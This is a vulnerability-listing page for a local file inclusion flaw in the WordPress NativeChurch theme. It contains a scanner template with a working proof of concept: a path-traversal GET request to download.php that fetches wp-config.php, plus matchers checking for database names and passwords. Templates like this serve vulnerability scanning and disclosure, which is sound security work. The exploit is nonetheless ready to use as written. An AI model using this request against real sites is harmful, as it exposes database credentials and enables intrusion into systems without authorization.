nativechurch-wp-theme-lfd: WordPress NativeChurch Theme - Local File Inclusion

2025-08-01 WordPress NativeChurch Theme PoC Public

Description

WordPress NativeChurch Theme is vulnerable to local file inclusion in the download.php file.

PoC

id: nativechurch-wp-theme-lfd

info:
  name: WordPress NativeChurch Theme - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: |
    WordPress NativeChurch Theme is vulnerable to local file inclusion in the download.php file.
  reference:
    - https://packetstormsecurity.com/files/132297/WordPress-NativeChurch-Theme-1.0-1.5-Arbitrary-File-Download.html
    - https://wpscan.com/vulnerability/2e1062ed-0c48-473f-aab2-20ac9d4c72b1
  classification:
    cwe-id: CWE-23,CWE-73
  metadata:
    max-request: 1
  tags: wp-theme,lfi,wp,packetstorm,wpscan,wordpress,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/themes/NativeChurch/download/download.php?file=../../../../wp-config.php'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "DB_NAME"
          - "DB_PASSWORD"
          - "DB_HOST"
          - "The base configurations of the WordPress"
        condition: and
# digest: 490a0046304402206a70a4e524d612fa0f75a589d70695f548758a63bd09f73f6516e24db37df3f902201f50eed108b5fb535664ba07badb118d92b5118ebc947e816cb2ea02853ced5b:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities